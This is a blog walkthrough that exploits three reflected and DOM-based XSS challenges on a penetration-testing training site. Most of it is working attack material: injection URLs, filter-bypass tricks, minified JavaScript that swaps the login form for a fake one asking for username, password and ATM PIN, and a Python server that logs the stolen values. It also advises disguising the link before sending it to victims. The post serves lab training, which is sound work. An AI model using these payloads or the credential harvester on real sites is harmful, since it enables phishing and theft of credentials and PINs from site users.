Reflected XSS at PentesterAcademy

Posted on Sat 09 August 2014 in Web Hacking

Here I will demonstrate 3 XSS attacks against 3 different challenges on Pentester Academy.

Pentester Academy has a large number of courses and challenges devoted to learning penetration testing and improving your skills.

My aim here will be first to demonstrate basic reflected XSS and then show how 2 different filters can be beaten.

XSS is the ability to execute JavaScript inside the browser of anyone who visits a specific webpage usually by injecting a combination of HTML and JavaScript.

Challenge 16: HTML Injection

The first one we'll look at is challenge 16.

This is the actual challenge page, if you browse to it, you should see this:

What I'm going to do is replace the whole form with one of my own which submit's to a server of my choosing and has an extra field but, otherwise, looks exactly the same as the real 1.

First, let's have a look at the vulnerability. First we need to see what happens when we submit a form:

I submitted the form with foo in the username field and bar in the password field. This is the full URL that I end up with:

http://pentesteracademylab.appspot.com/lab/webapp/htmli/1?email=foo&password=bar

As you can see, this was just submitted to the same page as a GET request. As this is the case, we can just manipulate this URL to test the fields, if the form had submitted a POST request, we'd have to keep submitting the form or use something like Burp Suite's Repeater feature.

You can see that the value of the email field has been reflected in the username input box. This is where we can test for a reflected XSS/HTMLi vulnerability.

Before that, let's check the source of this page to see in what context on the page our input has landed, right click on the page and click something like View Source:

So we've landed inside the value attribute of an input tag.

Now let's check if we can use certain characters, send the following URL:

http://pentesteracademylab.appspot.com/lab/webapp/htmli/1?email=foo"<'()[]>&password=bar

It looks like theres little to no filtering here, we've managed to close the input tag with the greater than (>) character that we sent, but let's look at the source:

So as suspected, there has been no filtering, this makes our job much easier.

Looking at the source code of the vulnerable form, we can figure out any required prefix and suffix:

1
2
3
4
5
6
7
8
9
<form class="form-signin">
  <h2 class="form-signin-heading">Please sign in</h2>
  <input type="text" value="INJECTIONPOINT" class="input-block-level" placeholder="Email address" name="email">
  <input type="password" class="input-block-level" placeholder="Password" name="password">
  <label class="checkbox">
    <input type="checkbox" value="remember-me" name="DoesThisMatter"> Remember me
  </label>
  <button class="btn btn-large btn-primary" type="submit">Sign in</button>
</form>

All we should need to do here is break out of the value attribute and the input tag, to do this we'll need to put a double quote (") (because the value attribute was opened with a ") and >, respectively, at the start of our input.

We should now test for the classic alert box XSS payload with our prefix of "> by sending the following URL:

http://pentesteracademylab.appspot.com/lab/webapp/htmli/1?email="><script>alert('xss')</script>

It worked, I put the alert statement inside script tags, this is to tell the browser that this is JavaScript to be executed.

If you close the alert box and view the source you should see this:

Using this we can run any JavaScript we want, we just have to replace alert('xss'), and as I will demonstrate this allows us full control over the page that is displayed.

The first thing we need to do is remove the current form so that we can put our own form in its place.

We can find all of the forms on the page using the getElementsByTagName method.

The best way to build your JavaScript payload is to use Firebug, it allows you to write JavaScript dynamically while showing you what methods and attributes each object has avaliable.

If you open firebug, go to the Console tab and type document. if will show you a list of its methods and attributes.

If you look through the whole source of the webpage you will see that there is only 1 form, and getElementsByTagName returns an array containing all of the form objects so to access the actual form we need to run document.getElementByTagName("form")[0] to access the first element of the array:

Each object has a remove method, we can use this to remove the original form.

Also, in JavaScript, all instructions can be put on a single line but they should be seperated by a semi colon (;).

Let's try using the XSS to first remove the form using the method described and then trigger and alert box as we did before, for this we will use the following URL:

pentesteracademylab.appspot.com/lab/webapp/htmli/1?email="><script>document.getElementsByTagName("form")[0].remove();alert('xss')</script>

So that didn't work, let's look at the source and see what happened:

So it appears that our payload was cut off from the ;, we can solve this 2 ways, the first is easiest and most well known, replace the ; with a URL encoded version (%3b):

pentesteracademylab.appspot.com/lab/webapp/htmli/1?email="><script>document.getElementsByTagName("form")[0].remove()%3balert('xss')</script>

That works, but I also want to show you another method incase ;'s are blocked completely, ;'s can be replaced with comma's (,).

http://pentesteracademylab.appspot.com/lab/webapp/htmli/1?email="><script>document.getElementsByTagName("form")[0].remove(),alert('xss')</script>

From this point on I'll use ,'s to seperate the instructions when sent to the server but in my examples while building the JavaScript payload I'll use ;'s.

Now we need to create the new form, we can do this using the createElement and appendChild methods, as well as the className, innerHTML, placeholder, name, type and action attributes.

Here is a full version of the Javascript that will build the form that we want and ensure it has all of the necessary attributes to make it look athentic:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var form = document.createElement("form");
var head = document.createElement("h2");
head.className = "form-signin-heading";
head.innerHTML = "Please sign in";
var user = document.createElement("input");
var pass = document.createElement("input");
var atm = document.createElement("input");
user.className = "input-block-level";
pass.className = "input-block-level";
atm.className = "input-block-level";
user.placeholder = "Username";
user.name = "un";
user.type = "text";
pass.name = "pw";
pass.placeholder = "Password";
pass.type = "password";
atm.name = "atm";
atm.placeholder = "ATM PIN";
atm.type = "password";
var button = document.createElement("button");
button.className = "btn btn-large btn-primary";
button.type = "submit";
button.innerHTML = "Login";
form.appendChild(head);
form.appendChild(user);
form.appendChild(pass);
form.appendChild(atm);
form.appendChild(button);
form.className="form-signin";
form.action="http://localhost:9000/";

All of the information here, especially the class names, I got from the original form. I've created a new form field on line 7 and set its settings on lines 10, 17, 18 and 19.

On line 30, I set the form action to http://localhost:9000/, this means when the form is submitted it will send the request to localhost on port 9000, this could be set to any value/server under the attackers control.

The completed form is contained inside the form variable.

The last thing to do is place the form at the right place on the page. If you look through the source, the form is placed inside a div tag with the class container, before a div tag with a class well.

We can find both of these using the getElementsByClassName method and we can insert it using the insertBefore, here is the code for this:

1
2
3
var container = document.getElementsByClassName("container")[0];
var element = document.getElementsByClassName("well")[0];
container.insertBefore(form, element);

Now we have all of the code we want to run, we just need to shrink the code as much as possible, we do this because in any exploit its best to keep the payload as small as possible so there is less chance of it being noticed.

Firstly all of the spaces need to be removed, in most situations spaces only make the code easier to read, next we can shrink all of the variable names down to 1 character, let's just take the first character of each as their name, unless use strict; is used on the page (which it isn't) there is no need to declare the variables with the var keyword and lastly we use the document object repeatedly, we can create a variable with a 1 character name that point to it and use the variable instead (d=document;).

After applying the rules above, moving everything to 1 line and changing the ;'s with ,'s you get the following code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
d=document,d.getElementsByTagName("form")[0].remove(),f=d.createElement("form
"),h=d.createElement("h2"),h.className="form-signin-heading",h.innerHTML="Ple
ase sign in",u=d.createElement("input"),p=d.createElement("input"),a=d.create
Element("input"),u.className="input-block-level",p.className="input-block-lev
el",a.className="input-block-level",u.placeholder="Username",u.name="un",u.ty
pe="text",p.name="pw",p.placeholder="Password",p.type="password",a.name="atm"
,a.placeholder="ATM PIN",a.type="password",b=d.createElement("button"),b.clas
sName="btn btn-large btn-primary",b.type="submit",b.innerHTML="Login",f.appen
dChild(h),f.appendChild(u),f.appendChild(p),f.appendChild(a),f.appendChild(b)
,f.className="form-signin",f.action="http://localhost:9000/",c=d.getElementsB
yClassName("container")[0],e=d.getElementsByClassName("well")[0],c.insertBefo
re(f,e)

We could probably shrink this down some more but this will do for now.

To send this payload we have to send the payload inbetween the script tags, after that you should see the following:

Looking at the source we can see that it has been injected fine:

Python Capture Server

I've written a little python script using SimpleHTTPServer to capture these details:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python

import SocketServer
import SimpleHTTPServer

class HTTPRequestHandler (SimpleHTTPServer.SimpleHTTPRequestHandler):

    def do_GET(self):
        qs = self.path.split("?")[1]
        args = qs.split("&")
        c, p = self.client_address
        un = pw = ""
        for arg in args:
            name = arg.split("=")[0]
            value = arg.split("=")[1]
            if name == "un":
                print c + " - UN: " + value
                un = value
            elif name == "pw":
                print c + " - PW: " + value
                pw = value
            elif name == "atm":
                print c + " - ATM: " + value
        self.send_response(301)
        self.send_header('Location','http://pentesteracademylab.appspot.com/lab/webapp/htmli/1?email=' + un + '&password=' + pw)
        self.end_headers()

httpServer = SocketServer.TCPServer(("", 9000), HTTPRequestHandler)
httpServer.serve_forever()

This server is set to print the values to stdout and then redirect to the actual application.

With the above python server running, when our custom form is submitted you get the following:

And the output on the python server's stdout:

1
2
3
4
127.0.0.1 - UN: Username
127.0.0.1 - PW: S0m%C2%A3S3cr3tP4ssw0rd
127.0.0.1 - ATM: 1234
127.0.0.1 - - [10/Aug/2014 17:40:08] "GET /?un=Username&pw=S0m%C2%A3S3cr3tP4ssw0rd&atm=1234 HTTP/1.1" 301 -

So that is challenge 16 completed for what we wanted to achieve and everything is transparent to the end user, you just need to send the malicious link to the target.

Challenge 16 Secure

The next challenge is here, some filtering has been added to mitigate the previous exploit.

First let's look at the challenge:

This looks exactly the same as the last challenge, so let's use the application and see if that is the same:

So far everything looks the same, even the URL we are sent to:

http://pentesteracademylab.appspot.com/lab/webapp/htmli/1/secure?email=foo&password=bar

Let's analyse this application the same way as before by sending the following URL:

http://pentesteracademylab.appspot.com/lab/webapp/htmli/1/secure?email=foo"<'()[]>

Looks interesting, let's look at the source:

So < and > has been encoded but " hasn't, looks like we'll have to use an event handler to run our JavaScript this time.

Ideally we want the event handler to run without any interaction, a lot of the event handlers require some interaction.

We are landing inside an input tag and 1 event we can hook is the onfocus event, but we need to make sure that the input box is in focus when the page loads, for this we can use the autofocus attribute.

So we now need a new prefix for our payload, we need to close the value attribute, with a ", we then need a space and the autofocus keyword, then a space and lastly onfocus=", so we end up with:

" autofocus onfocus="

After this there is no need to put any script tags, we can't anyway because < and > gets encoded.

Let's try executing an alert box to test if XSS works here, we need to send the following URL:

http://pentesteracademylab.appspot.com/lab/webapp/htmli/1/secure?email=" autofocus onfocus="alert('xss')

So we can now run JavaScript on this page, we will recreate the exact same attack as last time, the only change we need is to replace every " with a single quote ('), then we end up with this as our JavaScript:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
d=document,d.getElementsByTagName('form')[0].remove(),f=d.createElement('form
'),h=d.createElement('h2'),h.className='form-signin-heading',h.innerHTML='Ple
ase sign in',u=d.createElement('input'),p=d.createElement('input'),a=d.create
Element('input'),u.className='input-block-level',p.className='input-block-lev
el',a.className='input-block-level',u.placeholder='Username',u.name='un',u.ty
pe='text',p.name='pw',p.placeholder='Password',p.type='password',a.name='atm'
,a.placeholder='ATM PIN',a.type='password',b=d.createElement('button'),b.clas
sName='btn btn-large btn-primary',b.type='submit',b.innerHTML='Login',f.appen
dChild(h),f.appendChild(u),f.appendChild(p),f.appendChild(a),f.appendChild(b)
,f.className='form-signin',f.action='http://localhost:9000/',c=d.getElementsB
yClassName('container')[0],e=d.getElementsByClassName('well')[0],c.insertBefo
re(f,e)

Sending this in place of alert('xss') in our previous request gives us the following:

Looking at the source, we can see how our payload got interpreted:

Now we are in the same position as we were when we'd got our custom form on the other page.

Last Challenge: DOM XSS

This is the last challenge I'd like to demonstrate.

Even though this challenge is very different I want to create the same exploit where I create a custom form and put it on the page in a similar position as the previous examples.

Its quite a bit more difficult to exploit but let's get to it and have a look at how it works:

Its clearly doing some maths here based on the value of the statement argument given in the address bar, let's look at the source:

So we are landing inside script tags and our input is being used as an argument to eval.

This time, however, we can't see how our payload is being interpreted directly.

We should be able to run any JavaScript inside here though, let's try a normal alert box by sending the following URL:

http://pentesteracademylab.appspot.com/lab/webapp/jfp/dom?statement=alert('xss')

That didn't work, let's open Firebug, open the console tab and try again (this should show us any error's that happened while it was executing any JavaScript):

So the problem is that the ' are URL encoded... This is because, as you can see from the source code, it is accessing the argument using the document.URL property where certain characters are URL encoded so we will be unable to use any types of quotes (' or ").

There are probably a few ways to beat this problem, an obvious 1 is to avoid using strings but we are unable to do that here.

The way I like to get around this is to use String objects and using forward slashes (/) at the beginning and end to imply it is a regular expression.

Let's try to execute an alert using this method, we need to send the following URL:

http://pentesteracademylab.appspot.com/lab/webapp/jfp/dom?statement=alert(String(/xss/))

So it worked but we have / surrounding the string, we can use the substring method and the length property to remove these, we need to send the following URL:

http://pentesteracademylab.appspot.com/lab/webapp/jfp/dom?statement=x=String(/xss/),alert(x.substring(1,x.length-1))

We will be using the String and substring methods a lot, so it would be best if we create aliases for these to shorten our payload, we can create a function for the substring section like this:

y=function(z){return/**/z.substring(1,z.length-1)}

I have used /**/ here because we are also unable to use spaces (they are URL encoded too) and this just acts as a comment.

This function takes 1 argument and returns the string with the first and last character removed.

We can create an alias for the String method using this code:

S=String

Before we start to write our payload, let's test this with an alert by sending the following URL:

http://pentesteracademylab.appspot.com/lab/webapp/jfp/dom?statement=S=String,y=function(z){return/**/z.substring(1,z.length-1)},alert(y(S(/xss/)))

So it works, lastly all we need to do is remove the string Mathemagic and the div tag that contains the result.

Looking at the source we can see that the Mathemagic string is contained in a h2 tag and there are no other h2 tags on the page, so we can find this using the getElementsByTagName method.

The result is contained inside a div tag which has the id value set to result, so we can find this using the getElementById method.

Both of these we can remove using the remove method.

We are now ready to write our payload, here is the "beutified" version of the payload, remember that this all goes on 1 line and with , seperating the instructions and not ;:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
S=String;
y=function(z){
    return/**/z.substring(1,z.length-1);
};
d=document;
f=d.createElement(y(S(/form/)));
h=d.createElement(y(S(/h2/)));
h.className=y(S(/form-signin-heading/));
h.innerHTML=y(S(/Please&#32sign&#32in/));
z=S(/input/);
u=d.createElement(y(z));
p=d.createElement(y(z));
a=d.createElement(y(z));
z=S(/input-block-level/);
u.className=y(z);
p.className=y(z);
a.className=y(z);
u.placeholder=y(S(/username/));
u.name=y(S(/un/));
u.type=y(S(/text/));
p.name=y(S(/pw/));
p.placeholder=y(S(/Password/));
z=S(/password/);
p.type=y(z);
a.type=y(z);
a.name=y(S(/atm/));
a.placeholder=y(S(/ATMPIN/));
b=d.createElement(y(S(/button/)));
b.className=y(S(/btn/));
b.classList.add(y(S(/btn-large/)));
b.classList.add(y(S(/btn-primary/)));
b.type=y(S(/submit/));
b.innerHTML=y(S(/Login/));
f.appendChild(h);
f.appendChild(u);
f.appendChild(p);
f.appendChild(a);
f.appendChild(b);
f.className=y(S(/form-signin/));
f.action=y(S(/http:\/\/localhost:9000\//).replace(/\\/g,String()));
c=d.getElementsByClassName(y(S(/container/)))[0];
e=d.getElementsByClassName(y(S(/well/)))[0];
c.insertBefore(f,e);
c.getElementsByTagName(y(S(/h2/)))[0].remove();
d.getElementById(y(S(/result/))).remove()

So using this the URL that you will need to send is:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
pentesteracademylab.appspot.com/lab/webapp/jfp/dom?statement=S=String,y=funct
ion(z){return/**/z.substring(1,z.length-1)},d=document,f=d.createElement(y(S(
/form/))),h=d.createElement(y(S(/h2/))),h.className=y(S(/form-signin-heading/
)),h.innerHTML=y(S(/Please&#32sign&#32in/)),z=S(/input/),u=d.createElement(y(
z)),p=d.createElement(y(z)),a=d.createElement(y(z)),z=S(/input-block-level/),
u.className=y(z),p.className=y(z),a.className=y(z),u.placeholder=y(S(/usernam
e/)),u.name=y(S(/un/)),u.type=y(S(/text/)),p.name=y(S(/pw/)),p.placeholder=y(
S(/Password/)),z=S(/password/),p.type=y(z),a.type=y(z),a.name=y(S(/atm/)),a.p
laceholder=y(S(/ATMPIN/)),b=d.createElement(y(S(/button/))),b.className=y(S(/
btn/)),b.classList.add(y(S(/btn-large/))),b.classList.add(y(S(/btn-primary/))
),b.type=y(S(/submit/)),b.innerHTML=y(S(/Login/)),f.appendChild(h),f.appendCh
ild(u),f.appendChild(p),f.appendChild(a),f.appendChild(b),f.className=y(S(/fo
rm-signin/)),f.action=y(S(/http:\/\/localhost:9000\//).replace(/\\/g,String()
)),c=d.getElementsByClassName(y(S(/container/)))[0],e=d.getElementsByClassNam
e(y(S(/well/)))[0],c.insertBefore(f,e),c.getElementsByTagName(y(S(/h2/)))[0].
remove(),d.getElementById(y(S(/result/))).remove()

After sending this URL you should see the following:

PWNED!!! :-)

Conclusion

For the last to exploits, the redirection URL of the python server would have to be changed.

XSS exploits can vary greatly, but as long as you can get JavaScript to run you should be able to get full control over the page.

There are various methods for bypassing different filters and I've only mentioned a couple here but the methods that you use will highly depend on the filter that you are facing.

A lot of trial and error is needed to determine how best to bypass the filter than is in place.

In each of these examples, to take advantage of the exploit, you need to send the URL that we have created to the victim. A URL containing all of this information might look very strange to the victim so it might be best to URL encode the whole payload, you can do this in BurpSuite's Decoder tab or on a website like this, its worth noting though that Burp will URL encode all of the text (incuding any alphanumeric characters), that website (like most) will only encode certain characters.

Further Reading

OWASP is the authority on web security so their website contains any relavent information regarding this.

The OWASP XSS page and XSS filter evasion cheat sheet are very good resources.

Also, the OWASP testing guide has a great page on how to go about testing for XSS.